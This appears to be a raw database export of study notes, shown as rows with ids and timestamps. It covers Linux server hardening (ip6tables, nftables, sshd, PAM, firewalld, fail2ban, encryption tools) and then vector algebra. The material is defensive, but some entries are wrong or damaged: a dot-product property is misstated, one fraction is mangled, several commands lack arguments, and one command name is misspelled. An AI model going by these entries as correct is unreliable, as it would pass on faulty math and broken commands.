-A INPUT -p icmpv6 --icmpv6-type 151 -j ACCEPT\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 152 -j ACCEPT\nsudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 153 -j ACCEPT code txt 2024-07-28 10:10:49.246135 -5763 1674 Finally, we’ll add our **DROP** rule to block everything else: text txt 2024-07-28 10:10:49.267125 -5764 1674 sudo ip6tables -A INPUT -j DROP code txt 2024-07-28 10:10:49.286646 -5765 1675 sudo nft list tables code txt 2024-07-28 10:10:49.51677 -5766 1676 First, we’ll go into the directory where the sample configurations are stored and list the sample configuration files: text txt 2024-07-28 10:10:50.485512 -5767 1676 cd /usr/share/doc/nftables/examples/ code txt 2024-07-28 10:10:50.506305 -5768 1676 Next, we’ll copy the workstation file over to the `/etc` directory, changing its name to `nftables.conf`. text txt 2024-07-28 10:10:50.528159 -5769 1676 sudo cp workstation.nft /etc/nftables.conf code txt 2024-07-28 10:10:50.547868 -5770 1676 * `flush ruleset`: We want to start with a clean slate, so we’ll flush out any rules that may have already been loaded.\n* `table inet filter`: This creates an inet family filter, which works for both IPv4 and IPv6.\n* `chain input`: Within the first pair of curly brackets, we have a chain called input.\n* `type filter hook input priority 0;`: Within the next pair of curly brackets, we define our chain and list the rules. This chain is defined as a filter type. hook input indicates that this chain is meant to process incoming packets. Because this chain has both a hook and a priority, it will accept packets directly from the network stack. text txt 2024-07-28 10:10:50.56964 -5771 1676 Next is the standard connection tracking (ct) rule, which accepts traffic that’s in response to a connection request from this host. text txt 2024-07-28 10:10:50.591528 -5772 1676 * `ct state new`: indicates that the firewall will allow other hosts to initiate connections to our server on these ports.\n* `meta nfproto ipv6`: accepts neighbor discovery packets, allowing IPv6 functionality.\n* `counter drop`: rule at the end silently blocks all other traffic and counts both the number of packets and the number of bytes that it blocks. text txt 2024-07-28 10:10:50.612259 -5773 1676 let’s say that this is a DNS server, and we need to allow connections to port 22 and port 53. text txt 2024-07-28 10:10:50.632795 -5774 1676 ```\ntcp dport { 22, 53 } ct state new accept\nudp dport 53 ct state new accept\n`````` text txt 2024-07-28 10:10:50.654133 -5775 1676 sudo nft list ruleset code txt 2024-07-28 10:10:50.677147 -5776 1676 * The `counter drop` rule drops and counts unwanted packets. text txt 2024-07-28 10:10:50.697563 -5777 1676 let’s say that we want to make a log entry when packets are dropped.\nJust add the log keyword to the drop rule, like so: text txt 2024-07-28 10:10:50.718272 -5778 1676 ```\ncounter log drop\n`````` text txt 2024-07-28 10:10:50.73956 -5779 1677 To make these messages easier to find, add a tag to each log message, like this: text txt 2024-07-28 10:10:51.011354 -5780 1677 ```\ncounter log prefix "Dropped packet: " drop\n`````` text txt 2024-07-28 10:10:51.031565 -5781 1677 Now, when you need to peruse the `/var/log/kern.log` file to see how many dropped packets you’ve had, just search for the Dropped packet text string. text txt 2024-07-28 10:10:51.051407 -5782 1678 To do this, we can edit the file, placing a `drop rule` above the rule that opens port 22.\nThe relevant section of the file will look like this: text txt 2024-07-28 10:10:51.770106 -5783 1678 ```\ntcp dport 22\nip saddr { 192.168.0.7, 192.168.0.10 } log prefix "Blocked SSH packets: "\ndrop tcp dport { 22, 53 } ct state new accept\n`````` text txt 2024-07-28 10:10:51.791278 -5784 1678 Next, we need to allow the desired types of ICMP packets, like so: text txt 2024-07-28 10:10:51.811378 -5785 1678 ```\nct state new,related,established icmp type { destination-unreachable, time-exceeded, parameter-problem } accept\nct state established,related,new icmpv6 type { destination-unreachable, time-exceeded, parameter-problem } accept\n`````` text txt 2024-07-28 10:10:51.83323 -5786 1678 Finally, we’ll block invalid packets by adding a new prerouting chain to the filter table, like so: text txt 2024-07-28 10:10:51.852924 -5787 1678 ```\nchain prerouting {\n type filter hook prerouting priority 0;\n ct state invalid counter log prefix "Invalid Packets: " drop tcp flags & (fin|syn|rst|ack) != syn\n ct state new\n counter log drop\n}\n`````` text txt 2024-07-28 10:10:51.874517 -5788 1678 sudo systemctl reload nftables code txt 2024-07-28 10:10:51.893918 -5789 1679 Unless we specify otherwise, all the rules that we create in `inet` table will apply to both IPv4 and IPv6. text txt 2024-07-28 10:10:52.084032 -5790 1680 With an `nft` command, you can create a custom rule on the fly that will block the attack. text txt 2024-07-28 10:10:53.792079 -5791 1680 First, let’s delete our previous configuration and create an inet table since we want something that works for both IPv4 and IPv6.\nWe’ll want to give it a somewhat descriptive name, so let’s call it `ubuntu_filter`: text txt 2024-07-28 10:10:53.813262 -5792 1680 sudo nft delete table inet filter\nsudo nft list tables\nsudo nft add table inet ubuntu_filter\nsudo nft list tables code txt 2024-07-28 10:10:53.835641 -5793 1680 Next, we’ll add an input filter chain to the table that we just created text txt 2024-07-28 10:10:53.856858 -5794 1680 sudo nft add chain inet ubuntu_filter input { type filter hook input priority 0\\\\; policy drop\\\\; } code txt 2024-07-28 10:10:53.876532 -5795 1680 Each nftables protocol family has its own set of hooks, which define how the packets will be processed. text txt 2024-07-28 10:10:53.897039 -5796 1680 For now, we’re only concerned with the ip/ip6/inet families, which have the following hooks: text txt 2024-07-28 10:10:53.91829 -5797 1680 * Prerouting\n* Input\n* Forward\n* Output\n* Postrouting text txt 2024-07-28 10:10:53.939153 -5798 1680 If we had not specified drop as the default policy, then the policy would have been accept by default. text txt 2024-07-28 10:10:53.960251 -5799 1680 Let’s start with a connection tracking rule and a rule to open the Secure Shell port.\nThen, we’ll verify that they were added: text txt 2024-07-28 10:10:53.981252 -5860 1700 sudo firewall-cmd --zone corp --add-service ssh --permanent\nsudo firewall-cmd --reload code txt 2024-07-28 10:11:01.707513 -5861 1701 sudo firewall-cmd --get-default code txt 2024-07-28 10:11:01.917477 -6041 1796 $y = f(x)$ ($y$ equals $f$ of $x$) text txt 2024-07-28 10:11:29.93286 -5800 1680 ```\nsudo nft add rule inet ubuntu_filter input ct state established accept sudo nft add rule inet ubuntu_filter input tcp dport 22 ct state new accept sudo nft list table inet ubuntu_filter table inet ubuntu_filter { chain input {\ntype filter hook input priority 0; policy drop;\nct state established accept tcp dport ssh ct state new accept } }\n`````` text txt 2024-07-28 10:10:54.002568 -5801 1680 We forgot to create a rule to allow the loopback adapter to accept packets.\nSince we want this rule to be at the top of the rules list, we’ll use insert instead of add: text txt 2024-07-28 10:10:54.023719 -5802 1680 ```\nsudo nft insert rule inet ubuntu_filter input iif lo accept sudo nft list table inet ubuntu_filter\ntable inet ubuntu_filter { chain input { type filter hook input priority 0; policy drop;\niif lo accept ct state established accept tcp dport ssh ct state new accept } }\n`````` text txt 2024-07-28 10:10:54.04407 -5803 1680 What if we want to insert a rule at a specific location? For that, you’ll need to use list with the `-a` option to see the rule handles: text txt 2024-07-28 10:10:54.065644 -5804 1680 sudo nft list table inet ubuntu_filter -a table inet ubuntu_filter { chain input { type filter hook input priority 0; policy drop; iif lo accept # handle 4 ct state established accept # handle 2 tcp dport ssh ct state new accept # handle 3 } } code txt 2024-07-28 10:10:54.087457 -5805 1680 There’s no real rhyme or reason for the way the handles are numbered. text txt 2024-07-28 10:10:54.107459 -5806 1680 To delete a rule, we have to specify the rule’s handle number: text txt 2024-07-28 10:10:54.129006 -5807 1680 sudo nft delete rule inet ubuntu_filter input handle 6 sudo nft list table inet ubuntu_filter -a table inet ubuntu_filter { chain input { type filter hook input priority 0; policy drop; iif lo accept # handle 4 ct state established accept # handle 2 tcp dport ssh ct state new accept # handle 3 } } code txt 2024-07-28 10:10:54.150305 -5808 1680 As is the case with iptables, everything you do from the command line will disappear once you reboot the machine. To make it permanent, let’s redirect the output of the list subcommand to the nftables.\nconf configuration file text txt 2024-07-28 10:10:54.171832 -5809 1680 sudo sh -c "nft list table inet ubuntu_filter > /etc/nftables.conf" code txt 2024-07-28 10:10:54.193334 -5810 1680 We’re missing the flush rule and the shebang line to specify the shell that we want to interpret this script. text txt 2024-07-28 10:10:54.214193 -5811 1680 ```\n#!/usr/sbin/nft -f flush ruleset table inet ubuntu_filter { chain input { type filter hook input priority 0; policy drop;\niif lo accept ct state established accept tcp dport ssh ct state new accept } }\n`````` text txt 2024-07-28 10:10:54.236014 -5812 1680 sudo systemctl reload nftables sudo nft list table inet ubuntu_filter code txt 2024-07-28 10:10:54.255828 -5813 1681 Using `sudo` accounts. text txt 2024-07-28 10:10:54.624125 -5814 1682 Using a limited access account and by separating fine grained privileges into activities, causes damage to whole system reduced. text txt 2024-07-28 10:10:54.821229 -5815 1683 On account creation: text txt 2024-07-28 10:10:55.232297 -5816 1683 useradd -s /bin/bash -m -G sudo code txt 2024-07-28 10:10:55.252813 -5817 1683 After account creation: text txt 2024-07-28 10:10:55.273643 -5818 1683 usermod -a -G sudo code txt 2024-07-28 10:10:55.294365 -5819 1684 /etc/login.defs code txt 2024-07-28 10:10:55.545478 -5820 1685 Set following configuration variable to `no` in `sshd` configuration: text txt 2024-07-28 10:10:56.057561 -5821 1685 sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:10:56.07756 -5822 1685 PermitRootLogin no code txt 2024-07-28 10:10:56.097171 -5823 1685 And restart `sshd.service` on `systemd`: text txt 2024-07-28 10:10:56.118111 -5824 1685 sudo systemctl restart sshd.service code txt 2024-07-28 10:10:56.138189 -5825 1686 sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:10:56.436661 -5826 1686 Port 9292 code txt 2024-07-28 10:10:56.457394 -5827 1687 sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:10:56.840633 -5828 1687 AddressFamily inet code txt 2024-07-28 10:10:56.861334 -5829 1687 sudo systemctl reload ssh code txt 2024-07-28 10:10:56.881263 -5830 1688 **Pluggable Authentication Modules (PAM)** text txt 2024-07-28 10:10:57.327015 -5831 1688 **CentOS** and **Red Hat** distros already come with **PAM** enabled. text txt 2024-07-28 10:10:57.346982 -5832 1688 *archlinux*\nsudo pacman -S pam code txt 2024-07-28 10:10:57.366649 -5833 1688 *debian*\nsudo apt install libpam-cracklib code txt 2024-07-28 10:10:57.387118 -5834 1689 Configure **PAM** by editing following configuration file: text txt 2024-07-28 10:10:57.936938 -5835 1689 sudoedit /etc/pam.d/passwd code txt 2024-07-28 10:10:57.957525 -5836 1689 Uncomment the line having following content: text txt 2024-07-28 10:10:57.977842 -5837 1689 password required pam_cracklib.so difok=2 minlen=8 dcredit=2 ocredit=2 retry=3 code txt 2024-07-28 10:10:57.997948 -5838 1689 * `difok`: check the number of characters used in the current password compared to previous one.\n* `minlen`: minimum length every password should have.\n* `dcredit`: the least number of numerals every password should have.\n* `ocredit`: the least number of special characters(?) every password should have.\n* `retry`: the number of times users can enter an incorrect password before getting locked. text txt 2024-07-28 10:10:58.019839 -5839 1690 Create a new group called `sshusers`: text txt 2024-07-28 10:10:58.856727 -5840 1690 sudo groupadd sshusers code txt 2024-07-28 10:10:58.876762 -5841 1690 Add appropriate users to this group: text txt 2024-07-28 10:10:58.896565 -5842 1690 sudo usermod -a -G sshusers code txt 2024-07-28 10:10:58.917471 -5843 1690 Allow users of this group to login in `/etc/ssh/sshd_config` configuration file: text txt 2024-07-28 10:10:58.938739 -5844 1690 AllowGroups sshusers code txt 2024-07-28 10:10:58.95981 -5845 1690 Restart `sshd.service`: text txt 2024-07-28 10:10:58.979517 -5846 1690 sudo systemctl restart sshd.service code txt 2024-07-28 10:10:59.000086 -5847 1690 Using this configuration, a user who does not belong to this specific group\nwill be prevented to access to the server over SSH; their passwords may be\nentered correctly, but they will not be given access. This reduces the chance\nof people hacking the server through brute force attacks. text txt 2024-07-28 10:10:59.021336 -5848 1691 - `netfilter` is the Linux firewall implemented in kernel.\n- `iptables` is a simple firewall interface to `netfilter`.\n- `firewalld` is also a commonly used firewall interface to `netfilter`. text txt 2024-07-28 10:10:59.489178 -5849 1691 *archlinux*\nsudo pacman -S iptables firewalld code txt 2024-07-28 10:10:59.509757 -5850 1691 Enable only one of interfaces: text txt 2024-07-28 10:10:59.529495 -5851 1691 sudo systemctl enable --now firewalld code txt 2024-07-28 10:10:59.550158 -5852 1692 firewall-cmd --get-zones code txt 2024-07-28 10:10:59.794088 -5853 1693 sudo firewall-cmd --zone public --list-services code txt 2024-07-28 10:11:00.037416 -5854 1694 sudo firewall-cmd --zone public --list-ports code txt 2024-07-28 10:11:00.279006 -5855 1695 sudo firewall-cmd --list-all code txt 2024-07-28 10:11:00.541283 -5856 1696 sudo firewall-cmd --list-all-zones code txt 2024-07-28 10:11:00.786189 -5857 1697 Use `--permanent` optional argument to make changes take effect even after reboot. text txt 2024-07-28 10:11:00.961373 -5862 1702 You should already allow `ssh` service in new zone to prevent losing access to the server once new zone was set to the interface. text txt 2024-07-28 10:11:02.228547 -5863 1702 The firewalld will access the default zone for every command is used unless any other zone is specified. text txt 2024-07-28 10:11:02.250198 -5864 1702 sudo firewall-cmd --change-interface --zone corp --permanent\nsudo firewall-cmd --set-default corp code txt 2024-07-28 10:11:02.271079 -5865 1703 sudo firewall-cmd --get-active-zones code txt 2024-07-28 10:11:02.516862 -5866 1704 sudo firewall-cmd --get-services code txt 2024-07-28 10:11:02.755888 -5867 1705 sudo systemctl enable --now \nsudo firewall-cmd --add-service --permanent\nsudo firewall-cmd --reload code txt 2024-07-28 10:11:03.027758 -5868 1706 sudo firewall-cmd --remove-service --permanent\nsudo firewall-cmd --reload\nsudo systemctl disable --now code txt 2024-07-28 10:11:03.295417 -5869 1707 sudo firewall-cmd --add-port 1622/tcp --permanent\nsudo firewall-cmd --reload code txt 2024-07-28 10:11:03.530341 -5870 1708 sudo firewall-cmd --remove-port 1622/tcp --permanent\nsudo fierwall-cmd --reload code txt 2024-07-28 10:11:03.812232 -5871 1709 ssh-keygen -t rsa -b 4096 -C "user@domain.tld" -f ~/.ssh/user_rsa code txt 2024-07-28 10:11:04.044101 -5872 1710 ssh-copy-id -i ~/.ssh/user_rsa.pub -p user@domain.tld code txt 2024-07-28 10:11:04.272492 -5873 1711 *deprecated*\nnetstat -tuwlpn code txt 2024-07-28 10:11:04.598599 -5874 1711 *common*\nss -tuwlpn code txt 2024-07-28 10:11:04.618469 -5875 1712 *archlinux*\nsudo pacman -S libpam-google-authenticator code txt 2024-07-28 10:11:05.595378 -5876 1712 *debian*\nsudo apt install libpam-google-authenticator code txt 2024-07-28 10:11:05.615116 -5877 1712 Setup a key: text txt 2024-07-28 10:11:05.634842 -5878 1712 google-authenticator code txt 2024-07-28 10:11:05.6558 -5879 1712 Edit `sshd` service configuration: text txt 2024-07-28 10:11:05.676868 -5880 1712 sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:11:05.697577 -5881 1712 UsePAM yes\nChallengeResponseAuthentication yes code txt 2024-07-28 10:11:05.717815 -5882 1712 sudo systemctl reload sshd code txt 2024-07-28 10:11:05.738414 -5883 1712 Edit `pam` configuration: text txt 2024-07-28 10:11:05.759918 -5884 1712 sudoedit /etc/pam.d/sshd code txt 2024-07-28 10:11:05.781174 -5885 1712 Add the following line: text txt 2024-07-28 10:11:05.801649 -5886 1712 auth required pam_google_authenticator.so code txt 2024-07-28 10:11:05.822843 -5887 1713 sudoedit /etc/sysconfig/network code txt 2024-07-28 10:11:06.165247 -5888 1713 NETWORKING_IPV6=no\nIPV6INIT=no code txt 2024-07-28 10:11:06.185575 -5889 1714 sudo apt install selinux-basics selinux-policy-default auditd code txt 2024-07-28 10:11:06.396371 -5890 1715 Edit **PAM** configuration file: text txt 2024-07-28 10:11:06.774109 -5891 1715 sudoedit /etc/pam.d/system-auth code txt 2024-07-28 10:11:06.794737 -5892 1715 Add following lines: text txt 2024-07-28 10:11:06.814537 -5893 1715 auth sufficient pam_unix.so likeauth nullok\npassword sufficient pam_unix.so nullok use_authtok sha256 shadow remember=5 code txt 2024-07-28 10:11:06.83491 -5894 1716 `fail2ban` tool blocks frequently attempted login attempts. text txt 2024-07-28 10:11:07.565842 -5895 1716 *archlinux*\nsudo pacman -S fail2ban code txt 2024-07-28 10:11:07.587202 -5896 1716 Configure the service by copying sample config file: text txt 2024-07-28 10:11:07.607572 -5897 1716 cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local\nsudoedit /etc/fail2ban/jail.local code txt 2024-07-28 10:11:07.627381 -5898 1716 [sshd]\nenabled = true\nport = ssh\nprotocol = tcp\nfilter = sshd\nlogpath = /var/log/secure\nmaxretry = 5\nfindtime = 600\nbantime = 600 code txt 2024-07-28 10:11:07.647905 -5899 1716 sudo systemctl restart fail2ban code txt 2024-07-28 10:11:07.668422 -5900 1717 sudo fail2ban-client status ssh code txt 2024-07-28 10:11:07.876952 -5901 1718 * gpg\n* bcrypt\n* ccrypt\n* zip (4-zip)\n* 7za (7-zip)\n* openssl text txt 2024-07-28 10:11:08.183799 -5902 1719 **GNU Privacy Guard** or **GnuPG** text txt 2024-07-28 10:11:08.65738 -5903 1719 *archlinux*\nsudo pacman -S gnupg code txt 2024-07-28 10:11:08.677377 -5904 1719 *debian*\nsudo apt install gnupg code txt 2024-07-28 10:11:08.699932 -5905 1720 Encrypt: text txt 2024-07-28 10:11:09.110419 -5906 1720 gpg -c code txt 2024-07-28 10:11:09.131836 -5907 1720 Decrypt: text txt 2024-07-28 10:11:09.1515 -5908 1720 gpg code txt 2024-07-28 10:11:09.172306 -5909 1721 *archlinux*\nsudo pacman -S cryptsetup code txt 2024-07-28 10:11:09.554047 -5910 1721 *debian*\nsudo apt install bcrypt code txt 2024-07-28 10:11:09.574696 -5911 1722 Encrypt: text txt 2024-07-28 10:11:09.985649 -5912 1722 bcrypt .ext code txt 2024-07-28 10:11:10.005242 -5913 1722 Decrypt: text txt 2024-07-28 10:11:10.026077 -5914 1722 bcrypt .bfe code txt 2024-07-28 10:11:10.047249 -5915 1723 Encrypt: text txt 2024-07-28 10:11:10.439376 -5916 1723 ccrypt code txt 2024-07-28 10:11:10.459779 -5917 1723 Decrypt: text txt 2024-07-28 10:11:10.479637 -5918 1723 cdecrypt .cpt code txt 2024-07-28 10:11:10.500169 -5919 1724 Encrypt: text txt 2024-07-28 10:11:10.865317 -5920 1724 zip -p files... code txt 2024-07-28 10:11:10.885294 -5921 1724 Decrypt: text txt 2024-07-28 10:11:10.905464 -5922 1724 unzip code txt 2024-07-28 10:11:10.927415 -5923 1725 7za a -t zip -p -mem=aes256 output.zip files...\n7za output.zip code txt 2024-07-28 10:11:11.163401 -5924 1726 openssl enc -aes-256-cbc -in file -out output.dat\nopenssl enc -aes-256-cbc -d -in output.dat > file code txt 2024-07-28 10:11:11.400139 -5925 1727 dm-crypt text txt 2024-07-28 10:11:11.838882 -5926 1727 *archlinux*\nsudo pacman -S cryptsetup code txt 2024-07-28 10:11:11.859873 -5927 1727 *debian*\nsudo apt install cryptset code txt 2024-07-28 10:11:11.879616 -5928 1728 gunzip -c /proc/config.gz | grep CONFIG_DM_CRYPT code txt 2024-07-28 10:11:12.092005 -5929 1729 cryptsetup --version\ncryptsetup open /dev/sda1 encrypted_partition\ncryptsetup close encrypted_partition code txt 2024-07-28 10:11:12.364498 -5930 1730 getfacl \nsetfacl -m u::r \nsetfacl -x m::rx code txt 2024-07-28 10:11:12.745749 -5931 1731 - ping\n- traceroute\n- nmap text txt 2024-07-28 10:11:13.101566 -5932 1732 A vector is an ordered list of numbers like $(3, 1)$. text txt 2024-07-28 10:11:13.500837 -5933 1733 v = (3, 2) code txt 2024-07-28 10:11:13.709266 -5934 1734 The coordinates or entries of a vector only tell us how far the vector\nstretches in the x- and y-directions; not where it is located. text txt 2024-07-28 10:11:13.899622 -5935 1735 We usually position vectors so their tail is located at the origin. text txt 2024-07-28 10:11:14.061531 -5936 1736 Vectors having same length and direction are equal. text txt 2024-07-28 10:11:14.268337 -5937 1737 $(0, 0)$ denoted by 0 arrowed. text txt 2024-07-28 10:11:14.435655 -5938 1738 Sum vectors can be calculated by summing two vectors entry-wise. text txt 2024-07-28 10:11:14.691191 -5939 1738 $v + w = (v₁ + w₁, v₂ + w₂)$ text txt 2024-07-28 10:11:14.711441 -5989 1761 Scaling $\\\\vec{v}$ to have length 1 like this is called **normalizing**\n$\\\\vec{v}$, and this unit vector $\\\\vec{w}$ is called the normalization of\n$\\\\vec{v}$. text txt 2024-07-28 10:11:21.41701 -5940 1739 If $v$ and $w$ are positioned so that the tail of $w$ is located at the same\npoint as the head of $v$, then $v + w$ represents the total displacement\naccrued by following $v$ and then following $w$. text txt 2024-07-28 10:11:14.989394 -5941 1739 If we instead work entirely with vectors in standard position, then $v + w$\nis the vector that points along the diagonal between sides $v$ and $w$ of a\nparallelogram. text txt 2024-07-28 10:11:15.009614 -5942 1740 Suppose $v, w, x \\\\in \\\\mathbb{R}^n$ are vectors. Then the following properties hold: text txt 2024-07-28 10:11:15.220462 -5943 1740 - Commutativity: $v + w = w + v$\n- Associativity: $(v + w) + x = v + (w + x)$ text txt 2024-07-28 10:11:15.242183 -5944 1741 **Solution:** text txt 2024-07-28 10:11:15.473786 -5945 1741 1. $(2, 5, −1) + (1, −1, 2) = (2 + 1, 5 − 1, −1 + 2) = (3, 4, 1)$\n2. $(1, 2) + (3, 1) + (2, −1) = (1 + 3 + 2, 2 + 1 − 1) = (6, 2)$ text txt 2024-07-28 10:11:15.49435 -5946 1742 Suppose $v = (v_1 , v_2 , ... , v_n) \\\\in \\\\mathbb{R}^n$ is a vector and $c \\\\in \\\\mathbb{R}$ is a\nscalar. Then their scalar multiplication, denoted by $cv$, is the vector: text txt 2024-07-28 10:11:15.916596 -5947 1742 $cv = (cv_1 , cv_2 , cv_3 , ... , cv_n)$ text txt 2024-07-28 10:11:15.938302 -5948 1742 Scalar multiplication can be used to scale vectors, stretching them when\nmultiplied to $c > 1$ and compressed when multiplied to $c < 1$ and $c > 0$. text txt 2024-07-28 10:11:15.960807 -5949 1742 If $c = 0$ then $cv$ is the zero vector, all of whose entries are $0$, which we denote by $0$. text txt 2024-07-28 10:11:15.981629 -5950 1742 Multiplication of a vector to a negative scalar changes the direction of it.\nIf $c = −1$ then $cv$ is the vector whose entries are the negatives of $v$’s\nentries, which we denote by $−v$. text txt 2024-07-28 10:11:16.003112 -5951 1743 Suppose $v, w \\\\in \\\\mathbb{R}^n$ are vectors and $c, d \\\\in \\\\mathbb{R}$ are scalars. Then the\nfollowing properties hold: text txt 2024-07-28 10:11:16.244778 -5952 1743 - $c(v + w) = cv + cw$\n- $(c + d)v = cv + dv$\n- $c(dv) = (cd)v$ text txt 2024-07-28 10:11:16.266009 -5953 1744 **Solutions:** text txt 2024-07-28 10:11:16.865011 -5954 1744 1. $x − (3 , 2 , 1) = (1 , 2 , 3) − 3x$: text txt 2024-07-28 10:11:16.884778 -5955 1744 \\\\begin{aligned}\nx − (3 , 2 , 1) &= (1 , 2 , 3) − 3x \\\\\\\\\nx &= (4 , 4 , 4) − 3x \\\\\\\\\n4x &= (4 , 4 , 4) \\\\\\\\\nx &= (1 , 1 , 1)\n\\\\end{aligned} code txt 2024-07-28 10:11:16.905904 -5956 1744 2. $x + 2(v + w) = −v − 3(x − w)$: text txt 2024-07-28 10:11:16.925927 -5957 1744 \\\\begin{aligned}\nx + 2(v + w) &= −v − 3(x − w) \\\\\\\\\nx + 2v + 2w &= −v − 3x + 3w \\\\\\\\\n4x &= −3v + w \\\\\\\\\nx &= 41 (w − 3v)\n\\\\end{aligned} code txt 2024-07-28 10:11:16.946235 -5958 1745 Subtraction of these two vectors are geometrically a vector from the head of\n$w$ to the head of $v$. text txt 2024-07-28 10:11:17.214305 -5959 1745 $v - w = (v₁ - w₁, v₂ - w₂)$ text txt 2024-07-28 10:11:17.234084 -5960 1746 $v − w$ is the vector pointing from the head of $w$ to the head of $v$ when\n$v$ and $w$ are in standard position. text txt 2024-07-28 10:11:17.407414 -5961 1747 A **linear combination** of the vectors $v_1 , v_2 , ... , v_k \\\\in \\\\mathbb{R}^n$ is\nany vector of the form: text txt 2024-07-28 10:11:17.884635 -5962 1747 $c_1v_1 + c_2v_2 + ... + c_kv_k$, text txt 2024-07-28 10:11:17.905184 -5963 1747 where $c_1 , c_2 , ... , c_k \\\\in \\\\mathbb{R}$. text txt 2024-07-28 10:11:17.926089 -5964 1747 For example $(1, 2, 3)$ is a linear combination of the vectors $(1 , 1, 1)$\nand $(-1, 0, 1)$ since: text txt 2024-07-28 10:11:17.947298 -5965 1747 $(1 , 2 , 3) = 2(1 , 1 , 1) + (-1 , 0 , 1)$. text txt 2024-07-28 10:11:17.968555 -5966 1747 On the other hand $(1 , 2 , 3)$ is not a linear combination of the vectors\n$c_1(1 , 1 , 0) + c_2(2 , 1 , 0)$ has a 0 in its third entry, and thus cannot\npossibly equal $(1 , 2 , 3)$. text txt 2024-07-28 10:11:17.989008 -5967 1748 When working with linear combinations, some particularly important vectors\nare those with all entries equal to $0$, except for a single entry that\nequals $1$. Specifically, for each $j = 1 , 2 , ... , n$, we define the\nvector $e_j \\\\in \\\\mathbb{R}^n$ by text txt 2024-07-28 10:11:18.338863 -5968 1748 $e_j = (0 , 0 , ... , 0 , 1 , 0 , ... , 0)$. text txt 2024-07-28 10:11:18.36052 -5969 1748 For example, in $R^2$ there are two such vectors: $e1 = (1 , 0)$ and $e2 = (0\n, 1)$. Similarly, in $R^3$ there are three such vectors: $e_1 = (1, 0, 0)$,\n$e_2 = (0, 1, 0)$, and $e_3 = (0, 0, 1)$. In general, in $R^n$ there are $n$ of\nthese vectors, $e_1 , e_2 , ... , e_n$. text txt 2024-07-28 10:11:18.381115 -5970 1749 Every vector $v \\\\in \\\\mathbb{R}^n$ can be written as a linear combination of them. In\nparticular, if $v = (v_1 , v_2 , ... , v_n)$ then $v = v_1e_1 + v_2e_2 + ... + v_ne_n$. text txt 2024-07-28 10:11:18.552668 -5971 1750 $3e_1 - 2e_2 + e_3 = 3(1,0,0) - 2(0,1,0) + (0,0,1) = (3,-2,1)$ text txt 2024-07-28 10:11:18.705613 -5972 1751 $(3, 5, −2, −1) = 3e_1 + 5e_2 − 2e_3 − e_4$ text txt 2024-07-28 10:11:18.863608 -5973 1752 If $v = (v_1, v_2, ..., v_n) \\\\in \\\\mathbb{R}^n)$ and $w = (w_1, w_2, ..., w_n) \\\\in\nR^n)$ then the dot product of $v$ and $w$, denoted by $v.w$ is the quantity\n$v.w = v_1w_1 + v_2w_2 + ... + v_nw_n$. text txt 2024-07-28 10:11:19.126171 -5974 1752 So the result of the dot product of two vectors is a **scalar**. text txt 2024-07-28 10:11:19.145977 -5975 1754 Intuitively, the dot product $v.w$ tells you how much $v$ points in the\ndirection of $w$.\n- Introduction to Linear and Matrix Algebra - Chapter 1\n- https://www.youtube.com - https://www.youtube.com/watch?v=PJfvKCXpWZM&list=PLOAf1ViVP13jmawPabxnAa00YFIetVqbd&index=4\nDrawing gets hard but algebraically works. text txt 2024-07-28 10:11:19.466843 -5976 1755 Let $v, w, z \\\\in \\\\mathbb{R}^n$ be vectors and let $c \\\\in \\\\mathbb{R}$ be a scalar. Then text txt 2024-07-28 10:11:19.710263 -5977 1755 - $v.w = w.v$ (Commutativity)\n- $v.(w + z) = v.w + v.z$ (Distributivity)\n- $(cv).w = c(v + w)$ text txt 2024-07-28 10:11:19.730801 -5978 1756 $\\\\frac{1}{2}(-6, 12, 4) = \\\\frac{1}{2}(10) = 5$ text txt 2024-07-28 10:11:19.930257 -5979 1757 The length of a vector $\\\\vec{v} = (v_1, v_2, ..., v_n) \\\\in \\\\mathbb{R}^n, denoted by\n\\\\parallel\\\\vec{v}\\\\parallel, is defined by: text txt 2024-07-28 10:11:20.351386 -5980 1757 $\\\\parallel\\\\vec{v}\\\\parallel = \\\\sqrt{v.v} = \\\\sqrt{v_1^2 + v_2^2 + ... + v_n^2}$ text txt 2024-07-28 10:11:20.371637 -5981 1757 In two dimensions $\\\\parallel\\\\vec{v}\\\\parallel = \\\\sqrt{v_1^2 + v_2^2} = \\\\sqrt{\\\\vec{v}.\\\\vec{v}}$. text txt 2024-07-28 10:11:20.391794 -5982 1757 In three dimensions $\\\\parallel\\\\vec{v}\\\\parallel = \\\\sqrt{v_1^2 + v_2^2 + v_3^3} = \\\\sqrt{\\\\vec{v}.\\\\vec{v}}$. text txt 2024-07-28 10:11:20.41176 -5983 1757 No matter how many dimensions do we have, the square root of dot product\nresults in the length of a vector. text txt 2024-07-28 10:11:20.43238 -5984 1758 $\\\\parallel\\\\vec{v}\\\\parallel = \\\\sqrt{3^2 + 4^2} = \\\\sqrt{25} = 5$ text txt 2024-07-28 10:11:20.635277 -5985 1759 $\\\\parallel\\\\vec{v}\\\\parallel = \\\\sqrt{\\\\cos{\\\\theta}^2 + \\\\sin{\\\\theta}^2} = \\\\sqrt{1} = 1$ text txt 2024-07-28 10:11:20.837466 -5986 1760 Let $\\\\vec{v} \\\\in \\\\mathbb{R}^n$ be a vector and let $c \\\\in \\\\mathbb{R}$ be a scalar. Then text txt 2024-07-28 10:11:21.083242 -5987 1760 1. $\\\\parallel{c\\\\vec{v}}\\\\parallel = |c|\\\\parallel\\\\vec{v}\\\\parallel$\n2. $\\\\parallel\\\\vec{v}\\\\parallel = 0$ if and only if $\\\\vec{v} = 0$ text txt 2024-07-28 10:11:21.103912 -5988 1761 A vector with length 1 is a unit vector. text txt 2024-07-28 10:11:21.396212 -5990 1762 Every non-zero vector $\\\\vec{v} \\\\in \\\\mathbb{R}^n$ can be devided by its length to get a\nunit vector. text txt 2024-07-28 10:11:21.670018 -5991 1762 $\\\\vec{w} = \\\\div{\\\\vec{v},\\\\parallel\\\\vec{v}\\\\parallel}$ text txt 2024-07-28 10:11:21.690647 -5992 1763 $\\\\vec{v} = (3,4)$ text txt 2024-07-28 10:11:21.934667 -5993 1763 $\\\\vec{w} = \\\\div{\\\\vec{v},\\\\parallel\\\\vec{v}\\\\parallel}$ text txt 2024-07-28 10:11:21.955092 -5994 1764 $|\\\\vec{v}.\\\\vec{w}| \\\\le 